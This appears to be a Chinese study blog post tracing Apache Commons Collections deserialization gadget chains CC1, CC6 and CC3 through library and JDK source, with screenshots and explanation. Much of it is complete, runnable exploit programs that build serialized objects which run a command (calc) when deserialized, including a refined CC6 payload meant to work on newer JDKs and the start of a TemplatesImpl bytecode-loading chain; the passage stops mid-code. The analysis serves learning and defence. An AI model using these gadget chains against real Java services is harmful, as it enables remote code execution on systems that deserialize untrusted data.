参考
https://github.com/Y4tacker/JavaSec
https://blog.csdn.net/m0_64815693/article/details/130174363 //cc链入门
https://www.freebuf.com/articles/web/336628.html
https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb#2914a06f //天下大木头 语雀文档
https://github.com/bfengj/CTF/tree/main //bfengj
https://www.cnblogs.com/BUTLER/p/17156598.html //butler fastjson文章
https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#commonscollections7
https://cloud.tencent.com/developer/article/2278268
https://blog.csdn.net/qq_35733751/article/details/119862728
https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#commonscollections2
CC1链分析(vscode)失败【vscode对老版本的不支持】
jdk8u65源码下载https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
![image-20231016104513954](/../images/45Java_CC%E9%93%BE1-7/image-20231016104513954.png)
解压后将src/share/classes的sun复制到/src/sun,接着到ide配置
![image-20231013224312125](/../images/45Java_CC%E9%93%BE1-7/image-20231013224312125.png)
一、
首先看org.apache.commons.collections.functors.InvokerTransformer类下的transform方法
![image-20231013174635592](/../images/45Java_CC%E9%93%BE1-7/image-20231013174635592.png)
该方法当input为Runtime.getRuntime()对象、iMethodName为exec、iParamTypes为String.class时、且iArgs可控时,能够利用反射执行任意代码。这就是反序列化链的最后利用点,有了利用点我们倒着寻找调用函数。
找到该类的构造函数,发现iMethodName、iParamTypes、iArgs均可控,如下:
![image-20231013175145172](/../images/45Java_CC%E9%93%BE1-7/image-20231013175145172.png)
二、
然后就是找哪里调用了InvokerTransformer类的transform方法
我们接着看org.apache.commons.collections.map.TransformedMap类的checkSetValue方法,该方法是一个protected的方法,实现了transform的调用,如下:
![image-20231013181430998](/../images/45Java_CC%E9%93%BE1-7/image-20231013181430998.png)
接着看构造函数TransformedMap,也是一个protected方法,当参数valueTransformer可控时,能够使checkSetValue函数中valueTransformer对象成为InvokerTransformer类的对象。我们需要的是找到该函数调用的地方,下面分析。如下:
![image-20231013181632614](/../images/45Java_CC%E9%93%BE1-7/image-20231013181632614.png)
我们在TransformedMap类中找到了一个静态函数decorate,该函数调用了其受保护的构造函数,且参数可控,能够使valueTransformer对象成为InvokerTransformer类的对象,如下:
![image-20231013182103805](/../images/45Java_CC%E9%93%BE1-7/image-20231013182103805.png)
有了这些,还需要找到调用checkSetValue函数的地方。在TransformedMap类的父类AbstractInputCheckedMapDecorator中,找到了静态类MapEntry,其下中的setValue函数调用了checkSetValue函数,如下:
![image-20231013183840338](/../images/45Java_CC%E9%93%BE1-7/image-20231013183840338.png)
综上,我们如下代码,就能实现调用InvokerTransformer类的transform方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package com.example.demo;
import java.util.HashMap; import java.util.Map;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
public class DemoApplication { public static void main(String[] args){ HashMap<Object,Object> hashmap = new HashMap<>();hashmap.put(0, 0); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Map<Object,Object> decorate = TransformedMap.decorate(hashmap, null, invokerTransformer); for (Map.Entry objecEntry:decorate.entrySet()){ objecEntry.setValue(Runtime.getRuntime()); } } }
|
以上代码的一些解释,objecEntry这个对象对应的是TransformedMap对象,其TransformedMap类继承了AbstractInputCheckedMapDecorator类,其中的静态类MapEntry继承了AbstractMapEntryDecorator类,而AbstractMapEntryDecorator实现了Map.Entry接口,所以调用objecEntry.setValue()最后是回到被覆写的方法setValue上,如下:
![image-20231013194836934](/../images/45Java_CC%E9%93%BE1-7/image-20231013194836934.png)
![image-20231013194855588](/../images/45Java_CC%E9%93%BE1-7/image-20231013194855588.png)
![image-20231013194915926](/../images/45Java_CC%E9%93%BE1-7/image-20231013194915926.png)
![image-20231013193346673](/../images/45Java_CC%E9%93%BE1-7/image-20231013193346673.png)
三、
以上代码实现了通过setValue函数调用,后面还需继续分析,找到readObject处的调用。
经过搜索可以发现,在sun.reflect.annotation.AnnotationInvocationHandler类中的readObject中有我们需要的setValue调用。
![image-20231013231456148](/../images/45Java_CC%E9%93%BE1-7/image-20231013231456148.png)
![image-20231013230407552](/../images/45Java_CC%E9%93%BE1-7/image-20231013230407552.png)
以上这个图片不太一样,可能是我用的反编译的代码,也可能是我的版本不是jdk8u65,而是比较新的jdk17造成的,抑或是对应的类的代码更新了,这个代码找了一下午找不多网上对应的原版本。就将就了。正确的应该是下图:
![image-20231013230640345](/../images/45Java_CC%E9%93%BE1-7/image-20231013230640345.png)
查看构造函数,发现memberValues参数可控,如图:
![image-20231013231247693](/../images/45Java_CC%E9%93%BE1-7/image-20231013231247693.png)
有了上面这些,最终就能集中到一个对象上,然后序列化就行,反序列时将调用readObject函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.example.demo;
import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
public class DemoApplication { public static void main(String[] args) throws Exception{ HashMap<Object,Object> hashmap = new HashMap<>();hashmap.put(0, 0); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Map<Object,Object> decorate = TransformedMap.decorate(hashmap, null, invokerTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Override.class,decorate); } }
|
接着还需要反序列化。还需要解决Runtime不能序列化的问题。
最终版的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class App { public static void main(String[] args) throws Exception{ HashMap<Object,Object> hashmap = new HashMap<>();hashmap.put("value", "b"); Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object,Object> decorate = TransformedMap.decorate(hashmap, null, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class,decorate); serialize(o); unserialize("./test.bin"); } public static void serialize(Object obj)throws Exception{ ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("./test.bin"))); out.writeObject(obj); out.close(); } public static void unserialize(String filename)throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); in.readObject(); in.close(); } }
|
CC1链分析(idea)粗略分析
利用链
1 2 3 4 5 6 7
| AnnotationInvocationHandler.readObject() $Proxy.entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
|
环境配置
jdk8u65源码下载https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
![image-20231016104513954](/../images/45Java_CC%E9%93%BE1-7/image-20231016104513954.png)
解压后将src/share/classes的sun复制到/src/sun,接着到ide配置
![image-20231013224312125](/../images/45Java_CC%E9%93%BE1-7/image-20231013224312125.png)
![image-20231016110310820](/../images/45Java_CC%E9%93%BE1-7/image-20231016110310820.png)
配置maven依赖
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
1 2 3 4 5
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency>
|
![image-20231016110427613](/../images/45Java_CC%E9%93%BE1-7/image-20231016110427613.png)
分析1
payload代码,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class App { public static void main(String[] args) throws Exception{ HashMap<Object,Object> hashmap = new HashMap<>();hashmap.put("value", "b"); Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object,Object> decorate = TransformedMap.decorate(hashmap, null, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class,decorate); serialize(o); unserialize("./test.bin"); } public static void serialize(Object obj)throws Exception{ ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("./test.bin"))); out.writeObject(obj); out.close(); } public static void unserialize(String filename)throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); in.readObject(); in.close(); } }
|
AnnotationInvocationHandler类的构造函数,以及ReadObject函数执行过程,如下俩图:
![image-20231016163054161](/../images/45Java_CC%E9%93%BE1-7/image-20231016163054161.png)
![image-20231016163236212](/../images/45Java_CC%E9%93%BE1-7/image-20231016163236212.png)
memberValue.setVaule函数执行过程,如下:
![image-20231016163919424](/../images/45Java_CC%E9%93%BE1-7/image-20231016163919424.png)
![image-20231016164137546](/../images/45Java_CC%E9%93%BE1-7/image-20231016164137546.png)
![image-20231016164023348](/../images/45Java_CC%E9%93%BE1-7/image-20231016164023348.png)
![image-20231016135220674](/../images/45Java_CC%E9%93%BE1-7/image-20231016135220674.png)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"}).transform(r);
|
![image-20231016162656503](/../images/45Java_CC%E9%93%BE1-7/image-20231016162656503.png)
![image-20231016162530679](/../images/45Java_CC%E9%93%BE1-7/image-20231016162530679.png)
![image-20231016111327640](/../images/45Java_CC%E9%93%BE1-7/image-20231016111327640.png)
![image-20231016142323596](/../images/45Java_CC%E9%93%BE1-7/image-20231016142323596.png)
![image-20231016142345993](/../images/45Java_CC%E9%93%BE1-7/image-20231016142345993.png)
![image-20231016142008345](/../images/45Java_CC%E9%93%BE1-7/image-20231016142008345.png)
分析2
通过分析1可知,有了利用的地方,只要找到调用transform的地方就行
1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
我们搜索transform的使用,发现不仅有以上的TransformerMap可以利用,还有LazyMap如下:
![image-20231017214140622](/../images/45Java_CC%E9%93%BE1-7/image-20231017214140622.png)
我们详细看一下这个函数,此处是检测map中的键值是否包含我们传入的key,如果没有的话就调用transform函数生成一个value,添加到map中:
![image-20231017214541526](/../images/45Java_CC%E9%93%BE1-7/image-20231017214541526.png)
我们跟进org.apache.commons.collections.map.LazyMap类,查看get函数中,factory变量是否可控,跟进构造函数:
可以发现这是一个protected的函数,只能在本类调用,factory参数可控。
![image-20231017214856862](/../images/45Java_CC%E9%93%BE1-7/image-20231017214856862.png)
跟进其static函数,调用了构造函数,且参数factory我们可控:
![image-20231017215129790](/../images/45Java_CC%E9%93%BE1-7/image-20231017215129790.png)
1 2 3 4 5 6 7 8 9 10
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); Map decorate = LazyMap.decorate(hashMap,chainedTransformer); decorate.get("key");
|
可以看到,成功弹出计算器
![image-20231017215524778](/../images/45Java_CC%E9%93%BE1-7/image-20231017215524778.png)
接着就是找在哪里出发get函数,
在此之前先看一下动态代理,参考廖雪峰老师的网站:
还有一种方式是动态代码,我们仍然先定义了接口Hello
,但是我们并不去编写实现类,而是直接通过JDK提供的一个Proxy.newProxyInstance()
创建了一个Hello
接口对象。这种没有实现类但是在运行期动态创建了一个接口对象的方式,我们称为动态代码。JDK提供的动态创建接口对象的方式,就叫动态代理。
一个最简单的动态代理实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; public class Main { public static void main(String[] args) { InvocationHandler handler = new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println(method); if (method.getName().equals("morning")) { System.out.println("Good morning, " + args[0]); } return null; } }; Hello hello = (Hello) Proxy.newProxyInstance( Hello.class.getClassLoader(), new Class[] { Hello.class }, handler); hello.morning("Bob"); } }
interface Hello { void morning(String name); }
|
我们接着来看get函数,get函数的调用在invoke函数里面,
![image-20231018000435063](/../images/45Java_CC%E9%93%BE1-7/image-20231018000435063.png)
而由动态代理可知,只要代理对象的任意方法被触发,就会来到invoke函数,我们只需要利用动态代理创建一个接口对象即可,当接口对象的某个方法被调用,即可触发invoke函数。
1 2 3 4 5 6
| Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,decorate); Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler); Object o = constructor.newInstance(Override.class,proxyInstance);
|
接着任意一处的函数调用即可,
![image-20231018002514191](/../images/45Java_CC%E9%93%BE1-7/image-20231018002514191.png)
LazyMap的链感觉要比TransformerMap的链要简单一些,容易理解。
完整的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Main{ public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); Map decorate = LazyMap.decorate(hashMap,chainedTransformer); decorate.get("key");
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,decorate); Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler); Object o = constructor.newInstance(Override.class,proxyInstance);
serialize(o); unserialize("3.bin");
} public static void serialize(Object o) throws Exception { ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("3.bin"))); out.writeObject(o); } public static void unserialize(String filename) throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); in.readObject(); } }
|
CC6链分析【高版本jdk利用】
利用链
1 2 3 4 5 6 7 8 9
| HashSet.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
|
分析
cc6是在cc1的基础上解决了高版本jdk不能触发的问题,这里使用cc1的LazyMap链子
直接来到get方法的调用,
1 2 3 4 5 6 7 8 9 10
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); Map decorate = LazyMap.decorate(hashMap,chainedTransformer); decorate.get("key");
|
后面的任务就是寻找一个调用get方法的类,这个肯定是有很多的,在cc1里面我们找的是invoke方法,这里我们找TiedMapEntry类的getValue方法,看图:
![image-20231018095307660](/../images/45Java_CC%E9%93%BE1-7/image-20231018095307660.png)
然后map我们可控,看构造函数:
![image-20231018095340986](/../images/45Java_CC%E9%93%BE1-7/image-20231018095340986.png)
接着就是找调用getValue函数的地方,来到hashCode方法,看图:
![image-20231018095448642](/../images/45Java_CC%E9%93%BE1-7/image-20231018095448642.png)
所以,只需要调用TiedMapEntry类的hashCode方法即可,
接着我们来看HashMap类,
![image-20231018100030798](/../images/45Java_CC%E9%93%BE1-7/image-20231018100030798.png)
这里可以看到,hash方法只要传入的key不为null,都是可以触发其hashCode方法的。
接着找hash的调用地方,看readObject函数,
![image-20231018100413895](/../images/45Java_CC%E9%93%BE1-7/image-20231018100413895.png)
![image-20231018100501956](/../images/45Java_CC%E9%93%BE1-7/image-20231018100501956.png)
1 2 3
| TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry,"123");
|
这样即可实现调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception{ System.out.println("Hello world!");
Transformer[] transforms = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transforms); Map<Object,Object> hashmap = new HashMap<>(); Map decorate = LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry,"123");
serialize(hashMap); unserialize("test.bin"); } public static void serialize(Object o)throws Exception{ ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin"))); out.writeObject(o); } public static void unserialize(String name)throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name))); in.readObject(); } }
|
这里存在问题,就是序列化时也会执行代码,反序列化时也会执行代码,但是为什么只执行了一次命令,经过分析这个命令是在put时执行的。也就是说,我们反序列化和序列化都没执行命令。我们需要找出问题。
我们跟进HashMap的put方法,
![image-20231018101920670](/../images/45Java_CC%E9%93%BE1-7/image-20231018101920670.png)
可以看到这里是执行了他的hash方法的,我们要避免,可以通过反射完成,在添加时随意添加一个,然后再修改为正确的。
这个是最终版的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception{ System.out.println("Hello world!");
Transformer[] transforms = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
HashMap<Object,Object> hashmap = new HashMap<>(); hashmap.put("123","456");
Map<Object,Object> decorate = LazyMap.decorate(hashmap,new ConstantTransformer(2)); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"key");
HashMap<Object,Object> expHashMap = new HashMap<>(); expHashMap.put(tiedMapEntry,"value"); decorate.remove("key");
Class clz = LazyMap.class; Field factoryField = clz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(decorate,chainedTransformer);
serialize(expHashMap); unserialize("test.bin"); } public static void serialize(Object o)throws Exception{ ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin"))); out.writeObject(o); } public static void unserialize(String name)throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name))); in.readObject(); } }
|
至于为什么要remove,是因为在反序列化时有个if函数,需要绕过。
![image-20231018122629195](/../images/45Java_CC%E9%93%BE1-7/image-20231018122629195.png)
这样最终就能实现,序列化时不执行命令,反序列化时执行命令。
最后,补充一下,因为不受jdk版本的限制,我终于能在配置好环境的vscode上执行代码测试了,jdk17能够成功命令执行
![image-20231018123329736](/../images/45Java_CC%E9%93%BE1-7/image-20231018123329736.png)
CC3链分析
调用链
1 2 3 4 5 6 7 8 9 10
| AnnotationInvocationHandler.readObject() $Proxy.entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() TrAXFilter.TrAXFilter() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance()
|
先看一下基础内容,参考:https://blog.csdn.net/m0_64815693/article/details/130499112?spm=1001.2014.3001.5502
动态类加载
我们在学java基础的时候,都应该接触到了一个叫做代码块的东西吧,这里我们要使用动态类加载和代码块。
1 2 3 4 5 6 7 8 9 10 11
| public class test { static { System.out.println(1); } public test(){ System.out.println(2); } public void aaa(){ System.out.println(3); } }
|
这里我们创建一个类,里面只有一个静态代码块,然后使用两种方法的动态类加载来使用他。
第一种方法
1 2 3 4
| String url = "org.example.cc3.test"; Class<?> className = Class.forName(url); test test1 = (test) className.newInstance(); test1.aaa();
|
第二种方法
1 2 3 4 5
| String url2 = "org.example.cc3.test"; ClassLoader loader = ClassLoader.getSystemClassLoader(); Class<?> clazz = loader.loadClass(url2); test test2 = (test) clazz.newInstance(); test2.aaa();
|
两个一起
1 2 3 4 5 6 7 8 9 10
| String url = "org.example.cc3.test"; Class<?> className = Class.forName(url); test test1 = (test) className.newInstance(); test1.aaa(); String url2 = "org.example.cc3.test"; ClassLoader loader = ClassLoader.getSystemClassLoader(); Class<?> clazz = loader.loadClass(url2); test test2 = (test) clazz.newInstance(); test2.aaa();
|
这里解释一下比较多的疑惑
疑惑1:两个一起为什么下面那个不输出1了
首先我们要知道输出1使用的静态方法块,静态方法块通常是用于初始化的,所以他只会执行一次。
疑惑2:第二种方法,loadClass已经触发类,为什么没有输出1,而是等到newInstance的时候两个一起输出,这个和第一种有什么区别吗。
这里我们就要讲一下他们的区别了。
Class.forName() 除了会加载类外,还会初始化该类(执行静态代码块等)
ClassLoader.loadClass() 仅执行加载操作,不会初始化类
疑惑3:第二种方法中newInstance后,为什么一次性会输出两个
newInstance是通过调用类的默认公有构造方法来实例化对象,所以他是调用了构造方法,同时也进行了初始化的操作,所以他是会触发构造方法和静态方法块的。
注:如果没有loadClass他是不会触发静态方法块的
以上代码进行调试验证,
![image-20231018191910153](/../images/45Java_CC%E9%93%BE1-7/image-20231018191910153.png)
![image-20231018192347263](/../images/45Java_CC%E9%93%BE1-7/image-20231018192347263.png)
![image-20231018192445556](/../images/45Java_CC%E9%93%BE1-7/image-20231018192445556.png)
链子分析
框架图
![img_v2_9852e9ad-f506-4f0d-86b4-f009141a655g](/../images/45Java_CC%E9%93%BE1-7/img_v2_9852e9ad-f506-4f0d-86b4-f009141a655g.jpg)
这里我们是使用ClassLoader来加载类,使用方法上面介绍了,这里我先讲解另一个知识点。
当 ClassLoader 加载一个类时,如果这个类之前没有被加载过,它会调用自身的 defineClass() 方法来将类的字节码转换为 Class 对象。
所以也就是说,当调用 loadClass() 方法时,如果该类之前没有被加载,那么底层会调用 defineClass() 方法。
这里找到这个defineClass方法,然后右键查看用法。
![image-20231018193919730](/../images/45Java_CC%E9%93%BE1-7/image-20231018193919730.png)
找到com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl类调用了此函数,由此类的defineClass函数调用,
![image-20231018204038771](/../images/45Java_CC%E9%93%BE1-7/image-20231018204038771.png)
接着找到defineTransletClasses函数调用了此类的defineClass函数,如下
![image-20231018204343850](/../images/45Java_CC%E9%93%BE1-7/image-20231018204343850.png)
接着找到三处地方调用了defineTransletClasses函数,显然第三处的getTransletInstance私有方法可利用的地方更多,直接具有了newInstance函数的调用,此处即可执行加载类的静态代码块。
![image-20231018204622775](/../images/45Java_CC%E9%93%BE1-7/image-20231018204622775.png)
接着找getTransletInstance函数掉用的地方,仅有一处调用,但是够我们用了,很巧
![image-20231018204855951](/../images/45Java_CC%E9%93%BE1-7/image-20231018204855951.png)
根据以上,我们可以编写代码,但是存在问题,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class Main { public static void main(String[] args) throws Exception { System.out.println("Hello world!");
TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"aaa");
byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class")); byte[][] codes = {code}; Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); _bytecodesField.set(templates,codes);
templates.newTransformer(); } }
|
![image-20231018210218861](/../images/45Java_CC%E9%93%BE1-7/image-20231018210218861.png)
![image-20231018210450081](/../images/45Java_CC%E9%93%BE1-7/image-20231018210450081.png)
此处,_tfactory调用了一个方法,但是可以看到_factory的初始值为空,我们尝试通过反射改变其值,发现还是报错,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| System.out.println("Hello world!");
TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"aaa");
